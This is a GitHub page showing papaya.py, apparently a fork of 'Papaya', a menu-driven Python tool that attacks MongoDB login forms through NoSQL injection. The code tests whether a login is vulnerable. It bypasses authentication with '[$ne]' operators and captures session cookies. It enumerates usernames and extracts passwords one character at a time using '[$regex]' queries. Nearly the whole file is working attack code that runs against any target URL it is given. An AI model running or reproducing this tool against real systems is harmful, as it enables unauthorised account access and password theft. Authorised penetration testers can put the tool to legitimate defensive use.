forked from eversinc33/Papaya
-
Notifications
You must be signed in to change notification settings - Fork 0
/
papaya.py
executable file
·329 lines (279 loc) · 9.39 KB
/
papaya.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
#!/usr/bin/env python3
from requests_html import HTMLSession
import requests, sys
import os
import string
try:
from BeautifulSoup import BeautifulSoup
except ImportError:
from bs4 import BeautifulSoup
counter = 0
username = "admin"
user_param = "username"
password_param = "password"
success_string = "Logged"
def print_options():
clear_terminal()
print(
f"""\033[94m[1]\033[0m Set target username (Current: '{username}')
\033[94m[2]\033[0m Set username POST parameter (Current: '{user_param}')
\033[94m[3]\033[0m Set password POST parameter (Current: '{password_param}')
\033[94m[4]\033[0m Set unique success-identifier (Current: '{success_string}')
-------------------------------
\033[92m[5]\033[0m Test for vulnerability .'|'.
\033[92m[6]\033[0m Brute force usernames /.'|\\ \\
\033[92m[7]\033[0m Brute force password | /|'.|
\033[92m[8]\033[0m Bypass login \ |\/
--------------------- \|/
\033[94m[0]\033[0m Exit Papaya
?""")
def main():
global success_string, user_param, password_param, page, username
print_options()
try:
choice = input()
if choice == "1":
log("Enter username", 3)
username = input()
elif choice == "2":
log("Set username POST parameter", 3)
user_param = input()
elif choice == "3":
log("Set password POST parameter", 3)
password_param = input()
elif choice == "4":
log("Set unique string in positive html response", 3)
success_string = input()
elif choice == "5":
choice_test_vulnerability()
elif choice == "6":
choice_username()
elif choice == "7":
choice_password()
elif choice == "8":
choice_authenticate()
elif choice == "0":
log("Exiting...", 3)
quit()
return
main()
except KeyboardInterrupt:
return
def choice_test_vulnerability():
clear_terminal()
log("Testing for vulnerability")
log(f"Target: '{url}'", 3)
test_vulnerability()
await_input()
def choice_username():
clear_terminal()
log("Getting usernames...")
log(f"Target: '{url}'", 3)
get_usernames()
await_input()
def choice_password():
clear_terminal()
if username == 'admin':
log("Default user 'admin' used. Maybe get a username first", 3)
log(f"Testing password length for user: '{username}'")
log(f"Target: '{url}'", 3)
pw_length = get_password_length(username)
if pw_length:
log(f"Getting password for '{username}' with length {pw_length} ")
get_password(username, pw_length)
await_input()
def choice_authenticate():
clear_terminal()
log("Bypassing login")
log(f"Target: '{url}'", 3)
authenticate()
await_input()
def clear_terminal():
os.system('cls' if os.name == 'nt' else 'clear')
print("""------------------------------
\033[1mPapaya\033[0m /\\
MongoDB Login Bruteforce ( )
--------------------------- `´""")
def await_input():
log("Press Enter to get back to main menu", 3)
input()
def log(string, type=1):
if type == 1: # positive
print(f'\033[92m[+]\033[0m {string}')
elif type == 2: # warning
print(f'\033[93m[-]\033[0m {string}')
elif type == 3: # indication
print(f'\033[94m[!]\033[0m {string}')
def not_vulnerable(coming_from_check=False):
log("Not vulnerable. Check parameters", 2)
if not coming_from_check:
log("Did you forget to set the success-identifier?", 2)
def send_sessionless_post(params):
try:
return requests.post(url, data=params)
except KeyboardInterrupt:
await_input()
main()
except:
log("Could not connect to target", 2)
await_input()
main()
def is_successfull(success_string, response):
if success_string in str(response.content):
return True
return False
def test_vulnerability():
try:
session = HTMLSession()
response_bogus = session.post(url, {
user_param :'xXbOgUsXx',
password_param :'xXbOgUsXx'
})
response_injection = session.post(url, {
user_param + "[$ne]":'xXbOgUsXx',
password_param + "[$ne]":'xXbOgUsXx'
})
response_bogus = BeautifulSoup(response_bogus.text, 'lxml')
response_injection = BeautifulSoup(response_injection.text, 'lxml')
if response_bogus.body == response_injection.body:
not_vulnerable(True)
else:
log(f"Got possible successful login response:\n{response_injection.body}\n", 3)
log(f"Got possible failed login response:\n{response_bogus.body}\n", 3)
log("Responses differ.")
log("Application appears to be vulnerable!")
if len(session.cookies.get_dict()):
log("Response returned cookies. Maybe we found a session cookie?")
print(session.cookies.get_dict())
log("Inspect the above responses to find a unique string to identify a successful login and adjust the options accordingly", 3)
except KeyboardInterrupt:
await_input()
main()
except:
log("Could not connect to target", 2)
await_input()
main()
def authenticate():
params = {
user_param + "[$ne]":'xXbOgUsXx',
password_param + "[$ne]":'xXbOgUsXx'
}
try:
session = HTMLSession()
try:
response = session.post(url, data=params)
except KeyboardInterrupt:
return
if is_successfull(success_string, response):
log("Authenticated!")
log("Session cookies:")
print(session.cookies.get_dict())
return
else:
not_vulnerable()
except KeyboardInterrupt:
await_input()
main()
except:
log("Could not connect to target", 2)
await_input()
main()
def get_username(username):
global counter
alphabet = list(string.ascii_letters) + list(string.digits)
while True:
for c in alphabet:
params = {
user_param + "[$regex]":"^"+username+c+".*",
password_param + "[$ne]":'xXbOgUsXx'
}
response = send_sessionless_post(params)
if not response:
not_vulnerable()
return
if is_successfull(success_string, response):
counter = counter + 1
get_username(username + c)
if c == alphabet[-1]:
if len(username):
if counter == len(username) - 1 and counter != 0:
log(f"Username length: {len(username)}")
log(f"User found: '{username}'")
counter = 0
return
else:
return
else:
not_vulnerable()
return
def get_usernames():
usernames = []
alphabet = list(string.ascii_letters) + list(string.digits)
for c in alphabet:
params = {
user_param + "[$regex]":"^"+c+".*",
password_param + "[$ne]":'xXbOgUsXx'
}
response = send_sessionless_post(params)
if not response:
not_vulnerable()
return
if is_successfull(success_string, response):
usernames.append(c)
log(f"Found a username starting with {c}")
if c == alphabet[-1] and not len(usernames):
not_vulnerable()
return
for username in usernames:
get_username(username)
def get_password(username, pw_length):
password = ""
alphabet = string.printable
regex_chars = ['.', '^', '*', '+', '-', '?', '$', '\\', '|']
count = pw_length-1
while True:
if count == -1:
return password
for c in alphabet:
if c in regex_chars:
continue
params = {
user_param:username,
password_param+"[$regex]":password+c+".{"+str(count)+"}"
}
response = send_sessionless_post(params)
if is_successfull(success_string, response):
password = password + c
if count == 0:
log(f"Password found: {password}")
return password
log(f"Next character found! Password='{password}'...")
log(f"{count} Characters left...", 3)
count -= 1
break
def get_password_length(username):
pw_length = 50
while True:
params = {
'username':username,
'password[$regex]':".{"+str(pw_length)+"}"
}
response = send_sessionless_post(params)
if is_successfull(success_string, response):
log(f"Found password length: {pw_length}")
return pw_length
if pw_length == 0:
not_vulnerable()
return
pw_length -= 1
if __name__ == "__main__":
global url
if len(sys.argv) < 2:
print("\nTarget URL not supplied.\nUsage: python3 papaya.py http[s]://TARGET")
quit()
elif (sys.argv[1][0:7] != "http://") and (sys.argv[1][0:8] != "https://"):
print("\nTarget URL in wrong format.\nUsage: python3 papaya.py http[s]://TARGET")
quit()
else:
url = sys.argv[1]
main()